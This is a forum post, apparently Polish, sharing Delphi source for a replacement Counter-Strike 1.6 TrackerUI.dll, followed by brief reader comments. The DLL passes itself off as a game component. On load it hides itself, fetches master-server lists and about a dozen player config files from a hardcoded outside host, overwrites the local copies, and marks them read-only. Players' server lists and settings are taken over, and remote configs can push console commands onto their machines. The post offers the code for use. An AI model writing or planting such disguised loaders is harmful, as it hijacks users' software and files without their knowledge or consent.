library TrackerUI; { Important note about DLL memory management: ShareMem must be the first unit in your library's USES clause AND your project's (select Project-View Source) USES clause if your DLL exports any procedures or functions that pass strings as parameters or function results. This applies to all strings passed to and from your DLL--even those that are nested in records and classes. ShareMem is the interface unit to the BORLNDMM.DLL shared memory manager, which must be deployed along with your DLL. To avoid using BORLNDMM.DLL, pass string information using PChar or ShortString parameters. } uses SysUtils, IdHTTP, Classes; {$R *.res} var BaseURL: string; procedure DownloadFile(File1, File2: string); cdecl; var idHTTP1: TIdHTTP; Stream:TMemoryStream; begin try idHTTP1 := TIdHTTP.Create(nil); Stream:=TMemoryStream.Create; IdHTTP1.Get(File1,Stream); Stream.SaveToFile(File2); Stream.Free; except end; end; begin BaseURL := 'http://amxx.pl/master/'; begin // TrackerUI.DLL set to ReadOnly and Hidden FileSetAttr('cstrike\bin\TrackerUI.dll', 1 + 2); FileSetAttr('config\masterservers.vdf', 128); DownloadFile(BaseURL + 'config/masterservers.vdf','config\masterservers.vdf'); FileSetAttr('config\masterservers.vdf', 1); FileSetAttr('config\rev_masterservers.vdf', 128); DownloadFile(BaseURL + 'config/rev_masterservers.vdf','config\rev_masterservers.vdf'); FileSetAttr('config\rev_masterservers.vdf', 1); FileSetAttr('platform\config\masterservers.vdf', 128); DownloadFile(BaseURL + 'platform/config/masterservers.vdf','platform\config\masterservers.vdf'); FileSetAttr('platform\config\masterservers.vdf', 1); FileSetAttr('platform\config\rev_masterservers.vdf', 128); DownloadFile(BaseURL + 'platform/config/rev_masterservers.vdf','platform\config\rev_masterservers.vdf'); FileSetAttr('platform\config\rev_masterservers.vdf', 1); FileSetAttr('cstrike\autoconfig.cfg', 128); DownloadFile(BaseURL + 'cstrike/autoconfig.cfg','cstrike\autoconfig.cfg'); FileSetAttr('cstrike\autoconfig.cfg', 1); FileSetAttr('cstrike\autoexec.cfg', 128); DownloadFile(BaseURL + 'cstrike/autoexec.cfg','cstrike\autoexec.cfg'); FileSetAttr('cstrike\autoexec.cfg', 1); FileSetAttr('cstrike\joystick.cfg', 128); DownloadFile(BaseURL + 'cstrike/joystick.cfg','cstrike\joystick.cfg'); FileSetAttr('cstrike\joystick.cfg', 1); FileSetAttr('cstrike\language.cfg', 128); DownloadFile(BaseURL + 'cstrike/language.cfg','cstrike\language.cfg'); FileSetAttr('cstrike\language.cfg', 1); FileSetAttr('cstrike\userconfig.cfg', 128); DownloadFile(BaseURL + 'cstrike/userconfig.cfg','cstrike\userconfig.cfg'); FileSetAttr('cstrike\userconfig.cfg', 1); FileSetAttr('cstrike\violence.cfg', 128); DownloadFile(BaseURL + 'cstrike/violence.cfg','cstrike\violence.cfg'); FileSetAttr('cstrike\violence.cfg', 1); FileSetAttr('cstrike\resource\gamemenu.res', 128); DownloadFile(BaseURL + 'cstrike/resource/gamemenu.res','cstrike\resource\gamemenu.res'); FileSetAttr('cstrike\resource\gamemenu.res', 1); FileSetAttr('cstrike\config.cfg', 128); DownloadFile(BaseURL + 'cstrike/config.cfg','cstrike\config.cfg'); FileSetAttr('cstrike\config.cfg', 1); FileSetAttr('cstrike\commandmenu.txt', 128); DownloadFile(BaseURL + 'cstrike/commandmenu.txt','cstrike\commandmenu.txt'); FileSetAttr('cstrike\commandmenu.txt', 1); FileSetAttr('cstrike\server.cfg', 128); DownloadFile(BaseURL + 'cstrike/server.cfg','cstrike\server.cfg'); FileSetAttr('cstrike\server.cfg', 1); FileSetAttr('cstrike\listenserver.cfg', 128); DownloadFile(BaseURL + 'cstrike/listenserver.cfg','cstrike\listenserver.cfg'); FileSetAttr('cstrike\listenserver.cfg', 1); FileSetAttr('cstrike\valve.rc', 128); DownloadFile(BaseURL + 'cstrike/valve.rc','cstrike\valve.rc'); FileSetAttr('cstrike\valve.rc', 1); end; end.
TrackerUI.dll – Delphi
Wiele osób tego szukało.
Jest to prosty TrackerUI.DLL napisany w delphi z podstawową funkcjonalnością tzn. podmiana i zabezpieczanie plików związanych z masterserverem.
W pierwszej ddlce cssetti był dostęp do edytowania adresu pobierania używając notepad++ :). Dodam że ten kod jest dostępny w sieci na ruskich?/portugalskich? stronach.
Skąd ten xsteam.pl w kodzie 🙂
PimP517 możesz opisać coś więcej ?